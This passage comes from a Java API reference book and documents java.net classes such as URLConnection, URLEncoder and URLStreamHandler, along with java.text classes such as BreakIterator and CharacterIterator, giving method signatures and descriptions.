This method tells the URLConnection class to use the given ContentHandlerFactory object for all URLConnection objects. The purpose of this mechanism is to allow a program that hosts applets, such as a web browser, control over the creation of ContentHandler objects.

setDefaultAllowUserInteraction

 public static void setDefaultAllowUserInteraction( boolean defaultallowuserinteraction)

Parameters

defaultallowuserinteraction

The new default value.

Description

This method sets the default value of the allowUserInteraction variable for all new instances of URLConnection.

setDefaultRequestProperty

 public static void setDefaultRequestProperty(String key, String value)

Parameters

key

The name of a request property.

value

The new default value.

Description

This method sets the default value of the request property named by the key parameter.

Instance Methods

connect

public abstract void connect() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

When a URLConnection object is created, it is not immediately connected to the resource specified by its associated URL object. This method actually establishes the connection. If this method is called after the connection has been established, it does nothing.

Before the connection is established, various parameters can be set with the set methods. After the connection has been established, it is an error to try to set these parameters.

As they retrieve information about the resource specified by the URL object, many of the get methods require that the connection be established. If the connection has not been established when one of these methods is called, the connection is established implicitly.

getAllowUserInteraction

public boolean getAllowUserInteraction()

Returns

true if user interaction is allowed for this connection; false otherwise.

Description

This method returns the value of the allowUserInteraction variable for this URLConnection.

getContent

 public Object getContent() throws IOException, UnknownServiceException

Returns

An Object created from this URLConnection.

Throws

IOException

If any kind of I/O error occurs.

UnknownServiceException

If the protocol cannot support the content type.

Description

This method retrieves the content of the resource specified by the URL object associated with this URLConnection. If the connection for this object has not been established, the method implicitly establishes it.

The method returns an object that encapsulates the content of the connection. For example, for a connection that has content type image/jpeg, the method might return a object that belongs to subclass of Image, or for content type text/plain, it might return a String. The instanceof operator should determine the specific type of object that is returned.

The method first determines the content type of the connection by calling getContentType(). If this is the first time the content type has been seen, a content handler of type ContentHandler is created for the content type. Here are the steps that are taken to create a content handler:

  1. If an application has set up a ContentHandlerFactory by calling setContentHandlerFactory(), the method calls the createContentHandler() method of that object to create the content handler. The content type is passed as a String argument to that method.

  2. If no ContentHandlerFactory has been established, or the createContentHandler() method returns null, the method retrieves the value of the system property java.content.handler.pkgs. If this value is not null, it is interpreted as a list of packages separated by vertical bar (|) characters. The method then tries to load the class named package.contentType, where package is the name of the first package in the list and contentType is formed by taking the content-type string and replacing every slash (/) character with a period (.) and every other nonalphanumeric character with an underscore ( _ ). If the class exists and is a subclass of ContentHandler, it is used as the ContentHandler for the content type. If the class does not exist, or if it exists but is not a subclass of ContentHandler, the method tries the next package in the list.

  3. If the previous step fails to find an appropriate content handler, the method tries to load the class named sun.net.www.content.contentType, where contentType is formed by taking the content-type string and replacing every slash (/) character with a period (.) and every other nonalphanumeric character with an underscore ( _ ). If the class exists and is a subclass of ContentHandler, it is used as the ContentHandler for the content type. If the class does not exist, or if it exists but is not a subclass of ContentHandler, a UnknownServiceException is thrown.

getContentEncoding

public String getContentEncoding()

Returns

The content encoding, or null if it is not known.

Description

This method retrieves the content encoding of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the content-encoding header field. If the connection for this object has not been established, the method implicitly establishes it.

getContentLength

public int getContentLength()

Returns

The content length or -1 if it is not known.

Description

This method retrieves the content length of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the content-length header field. If the connection for this object has not been established, the method implicitly establishes it.

getContentType

public String getContentType()

Returns

The content type, or null if it is not known.

Description

This method retrieves the content type of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the content-type header field. This string is generally be a MIME type, such as image/jpeg or text/html. If the connection for this object has not been established, the method implicitly establishes it.

getDate

public long getDate()

Returns

The content date, or 0 if it is not known.

Description

This method retrieves the date of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the date header field. The date is returned as the number of seconds since January 1, 1970. If the connection for this object has not been established, the method implicitly establishes it.

getDefaultUseCaches

public boolean getDefaultUseCaches()

Returns

true if the use of caches is allowed by default; false otherwise.

Description

This method returns the default value of the useCaches variable for all instances of URLConnection. The default value is true, unless the setDefaultUseCaches() method has been called, in which case that method call controls the default value.

getDoInput

public boolean getDoInput()

Returns

true if this URLConnection is to be used for input; false otherwise.

Description

This method returns the value of the doInput variable for this URLConnection.

getDoOutput

public boolean getDoOutput()

Returns

true if this URLConnection is to be used for output; false otherwise.

Description

This method returns the value of the doOutput variable for this URLConnection.

getExpiration

public long getExpiration()

Returns

The content expiration date, or if it is not known.

Description

This method retrieves the expiration date of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the expires header field. The date is returned as the number of seconds since January 1, 1970. If the connection for this object has not been established, the method implicitly establishes it.

getHeaderField

public String getHeaderField(int n)

Parameters

n

A header field index.

Returns

The value of the header field with the given index, or null if n is greater than the number of fields in the header.

Description

This method retrieves the value of the header field at index n of the resource specified by the URL object associated with this URLConnection. If the connection for this object has not been established, the method implicitly establishes it.

public String getHeaderField(String name)

Parameters

name

A header field name.

Returns

The value of the named header field, or null if the header field is not known or its value cannot be determined.

Description

This method retrieves the value of the named header field of the resource specified by the URL object associated with this URLConnection. This method is a helper for methods like getContentEncoding() and getContentType(). If the connection for this object has not been established, the method implicitly establishes it.

getHeaderFieldDate

public long getHeaderFieldDate(String name, long default)

Parameters

name

A header field name.

default

A default date value.

Returns

The value of the named header field parsed as a date value, or default if the field is missing or cannot be parsed.

Description

This method retrieves the value of the named header field of the resource specified by the URL object associated with this URLConnection and parses it as a date value. The date is returned as the number of seconds since January 1, 1970. If the value of the header field cannot be determined or it is not a properly formed date, the given default value is returned. If the connection for this object has not been established, the method implicitly establishes it.

getHeaderFieldInt

public int getHeaderFieldInt(String name, int default)

Parameters

name

A header field name.

default

A default value.

Returns

The value of the named header field parsed as a number, or default if the field is missing or cannot be parsed.

Description

This method retrieves the value of the named header field of the resource specified by the URL object associated with this URLConnection and parses it as a number. If the value of the header field cannot be determined or it is not a properly formed integer, the given default value is returned. If the connection for this object has not been established, the method implicitly establishes it.

getHeaderFieldKey

public String getHeaderFieldKey(int n)

Parameters

n

A header field index.

Returns

The name of the header field at the given index, or null if n is greater than the number of fields in the header.

Description

This method retrieves the name of the header field at index n of the resource specified by the URL object associated with this URLConnection. If the connection for this object has not been established, the method implicitly establishes it.

getIfModifiedSince

public long getIfModifiedSince()

Returns

The value of the ifModifiedSince variable.

Description

This method returns the value of the ifModifiedSince variable for this URLConnection.

getInputStream

 public InputStream getInputStream() throws IOException, UnknownServiceException

Returns

An InputStream that reads data from this connection.

Throws

IOException

If any kind of I/O error occurs.

UnknownServiceException

If this protocol does not support input.

Description

This method returns an InputStream that reads the contents of the resource specified by the URL object associated with this URLConnection.

getLastModified

public long getLastModified()

Returns

The content last-modified date, or if it is not known.

Description

This method retrieves the last-modified date of the resource specified by the URL object associated with this URLConnection. In other words, the method returns the value of the last-modified header field. The date is returned as the number of seconds since January 1, 1970. If the connection for this object has not been established, the method implicitly establishes it.

getOutputStream

 public OutputStream getOutputStream() throws IOException, UnknownServiceException

Returns

An OutputStream that writes data to this connection.

Throws

IOException

If any kind of I/O error occurs.

UnknownServiceException

If this protocol does not support output.

Description

This method returns an OutputStream that writes to the resource specified by the URL object associated with this URLConnection.

getRequestProperty

public String getRequestProperty(String key)

Parameters

key

The name of a request property.

Returns

The value of the named request property.

Description

This method returns the value of the request property named by the key parameter.

getURL

public URL getURL()

Returns

The URL that this connection accesses.

Description

This method returns a reference to the URL associated with this object. This is the value of the url variable for this URLConnection.

getUseCaches

public boolean getUseCaches()

Returns

true if this URLConnection uses caches; false otherwise.

Description

This method returns the value of the useCaches variable for this URLConnection.

setAllowUserInteraction

public void setAllowUserInteraction(boolean allowuserinteraction)

Parameters

allowuserinteraction

A boolean value that indicates whether user interaction is allowed or not.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the allowUserInteraction variable for this URLConnection. This method must be called before this object establishes a connection.

setDefaultUseCaches

public void setDefaultUseCaches(boolean defaultusecaches)

Parameters

defaultusecaches

The new default value.

Description

This method sets the default value of the useCaches variable for all new instances of URLConnection.

setDoInput

public void setDoInput(boolean doinput)

Parameters

doinput

A boolean value that indicates if this connection is to be used for input.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the doInput variable for this URLConnection. This method must be called before this object establishes a connection.

setDoOutput

public void setDoOutput(boolean dooutput)

Parameters

dooutput

A boolean value that indicates if this connection is to be used for output.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the doOutput variable for this URLConnection. This method must be called before this object establishes a connection.

setIfModifiedSince

public void setIfModifiedSince(long ifmodifiedsince)

Parameters

ifmodifiedsince

A time value, specified as the number of seconds since January 1, 1970.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the ifModifiedSince variable for this URLConnection. This method must be called before this object establishes a connection.

setRequestProperty

public void setRequestProperty(String key, String value)

Parameters

key

The name of a request property.

value

The new value.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the request property named by the key parameter.

setUseCaches

public void setUseCaches(boolean defaultusecaches)

Parameters

defaultusecaches

A boolean value that indicates if this connection uses caches.

Throws

IllegalAccessError

If this method is called after the connection has been established.

Description

This method sets the value of the useCaches variable for this URLConnection. This method must be called before this object establishes a connection.

toString

public String toString()

Returns

A string representation of the URLConnection.

Overrides

Object.toString()

Description

This method returns a string representation of this URLConnection.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ContentHandler, ContentHandlerFactory, Error, FileNameMap, HttpURLConnection, IllegalAccessError, InputStream, IOException, OutputStream, SecurityException, UnknownServiceException, URL, URLStreamHandler, URLStreamHandlerFactory

Previous | Home | Next
URL | Book Index | URLEncoder
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] URLEncoder

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

URLEncoder

Name

URLEncoder

Synopsis

Class Name:

java.net.URLEncoder

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The URLEncoder class defines a single static method that converts a String to its URL-encoded form. More precisely, the String is converted to a MIME type called x-www-form-urlencoded.

This is the format used when posting forms on the Web. The algorithm leaves letters, numbers, and the dash (-), underscore ( _ ), period (.), and asterisk (*) characters unchanged. Space characters are converted to plus signs (+). All other characters are encoded with a percent sign (%) followed by the character code represented as a two-digit hexadecimal number. For example, consider the following string:

Jean-Louis Gassée

This string gets encoded as:

Jean-Louis+Gas%8ee

The point of the URLEncoder class is to provide a way to canonicalize a string into an extremely portable subset of ASCII that can be handled properly by computers around the world.

Class Summary

public class java.net.URLEncoder extends java.lang.Object {
  // Class Methods
  public static String encode(String s);
}

Class Methods

encode

public static String encode(String s)

Parameters

s

The string to encode.

Returns

A URL-encoded string.

Description

This method returns the contents of the String in the x-www-form-urlencoded format.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long timeout, int nanos) | Object |  |

See Also

String, URL

Previous | Home | Next
URLConnection | Book Index | URLStreamHandler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] URLStreamHandler

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

URLStreamHandler

Name

URLStreamHandler

Synopsis

Class Name:

java.net.URLStreamHandler

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The URLStreamHandler class is an abstract class that defines methods that encapsulate protocol-specific behavior. A stream handler protocol knows how to establish a connection for a particular protocol and how to parse the protocol-specific portion of a URL. An application does not normally create a URLStreamHandler directly; the appropriate subclass of URLStreamHandler is created by a URLStreamHandlerFactory.

The main purpose of a subclass of URLStreamHandler is to create a URLConnection object for a given URL. The URLStreamHandler object creates an object of the appropriate subclass of URLConnection for the protocol type specified by the URL. In order for a URL object to handle a protocol type such as http, ftp, or nntp, it needs an object of the appropriate subclass of URLStreamHandler to handle the protocol-specific details.

Class Summary

public abstract class java.net.URLStreamHandler extends java.lang.Object {
  // Protected Instance Methods
  protected abstract URLConnection openConnection(URL u)
  protected void parseURL(URL u, String spec, int start, int limit);
  protected void setURL(URL u, String protocol, String host,
                        int port, String file, String ref);
  protected String toExternalForm(URL u);
}

Protected Instance Methods

openConnection

 protected abstract URLConnection openConnection(URL u) throws IOException

Parameters

u

The URL being connected to.

Returns

The URLConnection object for the given URL.

Throws

IOException

If any kind of I/O error occurs.

Description

This method handles the protocol-specific details of establishing a connection to a remote resource specified by the URL. The connection should be handled just up to the point where the resource data can be downloaded. A ContentHandler then takes care of downloading the data and creating an appropriate object.

A subclass of URLStreamHandler must implement this method.

parseURL

protected void parseURL(URL u, String spec, int start, int limit)

Parameters

u

A reference to a URL object that receives the results of parsing.

spec

The string representation of a URL to be parsed.

start

The offset at which to begin parsing the protocol-specific portion of the URL.

limit

The offset of the last character that is to be parsed.

Description

This method parses the string representation of a URL into a URL object.

Some parts of the URL object may already be specified if spec specifies a relative URL. However, values for those parts in spec can override the inherited context.

The method only parses the protocol-specific portion of the URL. In other words, start should specify the character immediately after the first colon (:), which marks the termination of the protocol type, and limit should either be the last character in the string or the first pound sign (#), which marks the beginning of a protocol-independent anchor. Rather than return a result, the method calls the set() method of the specified URL object to set its fields to the appropriate values.

The implementation of the parseURL() method in URLStreamHandler parses the string representation as if it were an http specification. A subclass that implements a protocol stream handler for a different protocol must override this method to properly parse the URL.

setURL

 protected void setURL(URL u, String protocol, String host, int port, String file, String ref)

Parameters

u

A reference to a URL object to be modified.

protocol

A protocol.

host

A hostname.

port

A port number.

file

A filename.

ref

A reference.

Description

This method sets the protocol, hostname, port number, filename, and reference of the given URL to the specified values by calling the set() method of the URL. Only subclasses of URLStreamHandler are allowed to call the set() method of a URL object.

toExternalForm

protected String toExternalForm(URL u)

Parameters

u

The URL object to convert to a string representation.

Returns

A string representation of the given URL.

Description

This method unparses a URL object and returns a string representation of the URL.

The implementation of the toExternalForm() method in URLStreamHandler returns a string representation that is appropriate for an http specification. A subclass that implements a protocol stream handler for a different protocol must override this method to create a correct string representation.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ContentHandler, IOException, URL, URLConnection, URLStreamHandlerFactory

Previous | Home | Next
URLEncoder | Book Index | URLStreamHandlerFactory
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] URLStreamHandlerFactory

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

URLStreamHandlerFactory

Name

URLStreamHandlerFactory

Synopsis

Interface Name:

java.net.StreamHandlerFactory

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

JDK 1.0 or later

Description

The URLStreamHandlerFactory interface defines a method that creates a URLStreamHandler object for a specific protocol. The interface is implemented by classes that select URLStreamHandler subclasses to process particular protocol types.

The URL class uses a URLStreamHandlerFactory to create URLStreamHandler objects. The protocol type is determined by the portion of the URL up to the first colon. For example, given the following URL:

http://www.tolstoi.org/ilych.html

the protocol type is http. A URLStreamHandlerFactory that recognizes http returns a URLStreamHandler that can process the URL.

Interface Declaration

public abstract interface java.net.URLStreamHandlerFactory {
  // Methods
  public abstract URLStreamHandler createURLStreamHandler(String protocol);
}

Methods

createURLStreamHandler

public abstract URLStreamHandler createURLStreamHandler (String protocol)

Parameters

protocol

A String that represents a protocol.

Description

This method creates an object of the appropriate subclass of URLStreamHandler that can process a URL using the named protocol.

See Also

URL, URLStreamHandler

Previous | Home | Next
URLStreamHandler | Book Index | UnknownHostException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] UnknownHostException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

UnknownHostException

Name

UnknownHostException

Synopsis

Class Name:

java.net.UnknownHostException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A UnknownHostException is thrown when a hostname cannot be resolved to an IP address.

Class Summary

public class java.net.UnknownHostException extends java.io.IOException {
  // Constructors
  public UnknownHostException();
  public UnknownHostException(String host);
}

Constructors

UnknownHostException

public UnknownHostException()

Description

This constructor creates an UnknownHostException with no associated detail message.

public UnknownHostException(String host)

Parameters

host

The detail message.

Description

This constructor creates an UnknownHostException with the specified detail message, which should be the hostname that cannot be resolved.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException

Previous | Home | Next
URLStreamHandlerFactory | Book Index | UnknownServiceException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] UnknownServiceException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

UnknownServiceException

Name

UnknownServiceException

Synopsis

Class Name:

java.net.UnknownServiceException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A UnknownServiceException is thrown when an unrecognized service is requested, which can occur when the MIME type returned by a URLConnection does not match any recognized types.

Class Summary

public class java.net.UnknownServiceException
             extends java.io.IOException {
  // Constructors
  public UnknownServiceException();
  public UnknownServiceException(String msg);
}

Constructors

UnknownServiceException

public UnknownServiceException()

Description

This constructor creates an UnknownServiceException with no associated detail message.

public UnknownServiceException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates an UnknownServiceException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException

Previous | Home | Next
UnknownHostException | Book Index | BreakIterator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] The java.net Package

Java Fundamental Classes Reference

Previous Chapter 15 Next

15. The java.net Package

Contents:

Select a new section and then

The package java.net contains classes and interfaces that provide a powerful infrastructure for networking in Java. These include:

  • The URL class for basic access to Uniform Resource Locators (URLs).

  • The URLConnection class, which supports more complex operations on URLs.

  • The Socket class for connecting to particular ports on specific Internet hosts and reading and writing data using streams.

  • The ServerSocket class for implementing servers that accept connections from clients.

  • The DatagramSocket, MulticastSocket, and DatagramPacket classes for implementing low-level networking.

  • The InetAddress class, which represents Internet addresses.

Figure 15.1 shows the class hierarchy for the java.net package.

Figure 15.1: The java.net package

[Graphic: Figure 15-1]

BindException

Name

BindException

Synopsis

Class Name:

java.net.BindException

Superclass:

java.net.SocketException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A BindException is thrown when a socket cannot be bound to a local address and port, which can occur if the port is already in use or the address is unavailable.

Class Summary

public class java.net.BindException extends java.net.SocketException {
  // Constructors
  public BindException();
  public BindException(String msg);
}

Constructors

BindException

public BindException()

Description

This constructor creates a BindException with no associated detail message.

public BindException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates a BindException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, RuntimeException, SocketException

Previous | Home | Next
UnknownServiceException | Book Index | ConnectException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] The java.text Package

Java Fundamental Classes Reference

Previous Chapter 16 Next

16. The java.text Package

Contents:
CharacterIterator
ChoiceFormat
CollationElementIterator
CollationKey
Collator
DateFormat
DateFormatSymbols
DecimalFormat
DecimalFormatSymbols
FieldPosition
Format
MessageFormat
NumberFormat
ParseException
ParsePosition
RuleBasedCollator
SimpleDateFormat
StringCharacterIterator

The package java.text is new as of Java 1.1. It contains classes that support the internationalization of Java programs. The internationalization classes can be grouped as follows:

  • Classes for formatting string representations of dates, times, numbers, and messages based on the conventions of a locale.

  • Classes that collate strings according to the rules of a locale.

  • Classes for finding boundaries in text according to the rules of a locale.

Many of the classes in java.text rely upon a java.util.Locale object to provide information about the locale that is in use.

The Format class is the superclass of all of the classes that generate and parse string representations of various types of data. The DateFormat class formats and parses dates and times according to the customs and language of a particular locale. Similarly, the NumberFormat class formats and parses numbers, including currency values, in a locale-dependent manner.

The MessageFormat class can create a textual message from a pattern string, while ChoiceFormat maps numerical ranges to strings. By themselves, these classes do not provide different results for different locales. However, they can be used in conjunction with java.util.ResourceBundle objects that generate locale-specific pattern strings.

The Collator class handles collating strings according to the rules of a particular locale. Different languages have different characters and different rules for sorting those characters; Collator and its subclass, RuleBasedCollator, are designed to take those differences into account when collating strings. In addition, the CollationKey class can be used to optimize the sorting of a large collection of strings.

The BreakIterator class finds various boundaries, such as word boundaries and line boundaries, in textual data. Again, BreakIterator locates these boundaries according to the rules of a particular locale.

Figure 16.1 shows the class hierarchy for the java.text package.

Figure 16.1: The java.text package

[Graphic: Figure 16-1]

BreakIterator

Name

BreakIterator

Synopsis

Class Name:

java.text.BreakIterator

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The BreakIterator class is an abstract class that defines methods that find the locations of boundaries in text, such as word boundaries and sentence boundaries. A BreakIterator operates on the object passed to its setText() method; that object must implement the CharacterIterator interface or be a String object. When a String is passed to setText(), the BreakIterator creates an internal StringCharacterIterator to iterate over the String.

When you use a BreakIterator, you call first() to get the location of the first boundary and then repeatedly call next() to iterate through the subsequent boundaries.

The BreakIterator class defines four static factory methods that return instances of BreakIterator that locate various kinds of boundaries. Each of these factory methods selects a concrete subclass of BreakIterator based either on the default locale or a specified locale. You must create a separate instance of BreakIterator to handle each kind of boundary you are trying to locate:

  • getWordInstance() returns an iterator that locates word boundaries, which is useful for search-and-replace operations. A word iterator correctly handles punctuation marks.

  • getSentenceInstance() returns an iterator that locates sentence boundaries, which is useful for textual selection. A sentence iterator correctly handle punctuation marks.

  • getLineInstance() returns an iterator that locates line boundaries, which is useful in line wrapping. A line iterator correctly handles hyphenation and punctuation.

  • getCharacterInstance() returns an iterator that locates boundaries between characters, which is useful for allowing the cursor to interact with characters appropriately, since some characters are stored as a base character and a diacritical mark, but only represent one display character.

Class Summary

public abstract class java.util.BreakIterator extends java.lang.Object
                      implements java.lang.Cloneable,
                                 java.io.Serializable {
  // Constants
  public final static int DONE;
  // Constructors
  protected BreakIterator();
  // Class Methods
  public static synchronized Locale[] getAvailableLocales();
  public static BreakIterator getCharacterInstance();
  public static BreakIterator getCharacterInstance(Locale where);
  public static BreakIterator getLineInstance();
  public static BreakIterator getLineInstance(Locale where);
  public static BreakIterator getSentenceInstance();
  public static BreakIterator getSentenceInstance(Locale where);
  public static BreakIterator getWordInstance();
  public static BreakIterator getWordInstance(Locale where);
  // Instance Methods
  public Object clone();
  public abstract int current();
  public abstract int first();
  public abstract int following(int offset);
  public abstract CharacterIterator getText();
  public abstract int last();
  public abstract int next();
  public abstract int next(int n)
  public abstract int previous();
  public abstract void setText(CharacterIterator newText);
  public void setText(String newText);
}

Constants

DONE

public final static int DONE

Description

A constant that is returned by next() or previous() if there are no more breaks to be returned.

Constructors

BreakIterator

protected BreakIterator()

Description

This constructor should be called only from constructors of subclasses.

Class Methods

getAvailableLocales

public static synchronized Locale[] getAvailableLocales()

Returns

An array of Locale objects.

Description

This method returns an array of the Locale
objects that can be passed to getCharacterInstance(),
getLineInstance(),
getSentenceInstance(),
or getWordInstance().

getCharacterInstance

public static BreakIterator getCharacterInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate character boundaries in the default Locale.

public static BreakIterator getCharacterInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate character boundaries in the given Locale.

getLineInstance

public static BreakIterator getLineInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate line boundaries in the default Locale.

public static BreakIterator getLineInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate line boundaries in the given Locale.

getSentenceInstance

public static BreakIterator getSentenceInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate sentence boundaries in the default Locale.

public static BreakIterator getSentenceInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate sentence boundaries in the given Locale.

getWordInstance

public static BreakIterator getWordInstance()

Returns

A BreakIterator appropriate for the default Locale.

Description

This method creates a BreakIterator that can locate word boundaries in the default Locale.

public static BreakIterator getWordInstance(Locale where)

Parameters

where

The Locale to use.

Returns

A BreakIterator appropriate for the given Locale.

Description

This method creates a BreakIterator that can locate word boundaries in the given Locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this BreakIterator.

Overrides

Object.clone()

Description

This method creates a copy of this BreakIterator and then returns it.

current

public abstract int current()

Returns

The current position of this BreakIterator.

Description

This method returns the current position of this BreakIterator. The current position is the character index of the most recently returned boundary.

first

public abstract int first()

Returns

The position of the first boundary of this BreakIterator.

Description

This method finds the first boundary in this BreakIterator and returns its character index. The current position of the iterator is set to this boundary.

following

public abstract int following(int offset)

Parameters

offset

An offset into this BreakIterator.

Returns

The position of the first boundary after the given offset of this BreakIterator or DONE if there are no more boundaries.

Throws

IllegalArgumentException

If offset is not a valid value for the CharacterIterator of this BreakIterator.

Description

This method finds the first boundary after the given offset in this BreakIterator and returns its character index.

getText

public abstract CharacterIterator getText()

Returns

The CharacterIterator that this BreakIterator uses.

Description

This method returns a CharacterIterator that represents the text this BreakIterator examines.

last

public abstract int last()

Returns

The position of the last boundary of this BreakIterator.

Description

This method finds the last boundary in this BreakIterator and returns its character index. The current position of the iterator is set to this boundary.

next

public abstract int next()

Returns

The position of the next boundary of this BreakIterator or DONE if there are no more boundaries.

Description

This method finds the next boundary in this BreakIterator after the current position and returns its character index. The current position of the iterator is set to this boundary.

public abstract int next(int n)

Parameters

n

The boundary to return. A positive value moves to a later boundary a negative value moves to a previous boundary; the value 0 does nothing.

Returns

The position of the requested boundary of this BreakIterator.

Description

This method finds the nth boundary in this BreakIterator, starting from the current position, and returns its character index. The current position of the iterator is set to this boundary.

For example, next(-2) finds
the third previous boundary. Thus next(1)
is equivalent to next(), next(-1)
is equivalent to previous(),
and next(0) does nothing.

previous

public abstract int previous()

Returns

The position of the previous boundary of this BreakIterator.

Description

This method finds the previous boundary in this BreakIterator, starting from the current position, and returns its character index. The current position of the iterator is set to this boundary.

setText

public abstract void setText(CharacterIterator newText)

Parameters

newText

The CharacterIterator that contains the text to be examined.

Description

This method tells this BreakIterator to examine the piece of text specified by the CharacterIterator. This current position of this BreakIterator is set to first().

public void setText(String newText)

Parameters

newText

The String that contains the text to be examined.

Description

This method tells this BreakIterator to examine the piece of text specified by the String, using a StringCharacterIterator created from the given string. This current position of this BreakIterator is set to first().

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

CharacterIterator, Locale, String, StringCharacterIterator

Previous | Home | Next
UnknownServiceException | Book Index | CharacterIterator
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] CharacterIterator

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

CharacterIterator

Name

CharacterIterator

Synopsis

Interface Name:

java.text.CharacterIterator

Super-interface:

java.lang.Cloneable

Immediate Sub-interfaces:

None

Implemented By:

java.text.StringCharacterIterator

Availability:

New as of JDK 1.1

Description

The CharacterIterator interface defines methods that support bidirectional movement through a sequence of text. The interface is implemented by classes that maintain a current position in a sequence of characters. The interface provides methods for moving to the first, last, next, and previous characters in the sequence. The BreakIterator classes uses this interface to locate boundaries in textual sequences.

Class Summary

public abstract interface java.text.CharacterIterator
                          extends java.lang.Cloneable {
  // Constants
  public static final char DONE;
  // Methods
  public abstract Object clone();
  public abstract char current();
  public abstract char first();
  public abstract int getBeginIndex();
  public abstract int getEndIndex();
  public abstract int getIndex();
  public abstract char last();
  public abstract char next();
  public abstract char previous();
  public abstract char setIndex(int position);
}

Constants

DONE

public final static char DONE

Description

A constant that indicates that the beginning or end of the text has been reached. It can be returned by next() or previous().

Methods

clone

public abstract Object clone()

Returns

A copy of this CharacterIterator.

Overrides

Object.clone()

Description

This method creates a copy of this CharacterIterator and returns it.

current

public abstract char current()

Returns

